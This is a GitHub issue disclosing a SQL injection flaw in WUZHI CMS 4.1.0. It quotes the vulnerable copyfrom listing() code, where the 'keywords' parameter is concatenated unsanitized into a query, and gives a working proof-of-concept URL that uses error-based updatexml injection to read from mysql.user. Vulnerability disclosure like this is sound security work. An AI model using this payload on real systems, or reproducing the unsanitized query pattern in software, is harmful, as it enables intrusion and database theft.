Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

wuzhicms v4.1.0 sql injection vulnerability #149

Closed
jiguangin opened this issue Aug 6, 2018 · 0 comments

Comments

Projects
None yet
1 participant
@jiguangin
Copy link

commented Aug 6, 2018

A sql injection was discovered in WUZHI CMS 4.1.0 .There is a sql injection vulnerability which allows remote attackers to Injecting a malicious SQL statement into a server via the index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords={sql payload}

filename

/coreframe/app/admin/copyfrom.php

code

	public function listing() {
        $siteid = get_cookie('siteid');
        $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;
        $page = max($page,1);
        if(isset($GLOBALS['keywords'])) {
            $keywords = $GLOBALS['keywords'];
            $where = "`name` LIKE '%$keywords%'";
        } else {
            $where = '';
        }
		$result = $this->db->get_list('copyfrom', $where, '*', 0, 20,$page);
		$pages = $this->db->pages;
        $total = $this->db->number;
		include $this->template('copyfrom_listing');
	}

POC

index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords=%27+and+updatexml(7,concat(0x7e,(select%20password_last_changed%20from%20mysql.user%20limit%201),0x7e),7)%23

default

@jiguangin jiguangin closed this Aug 27, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.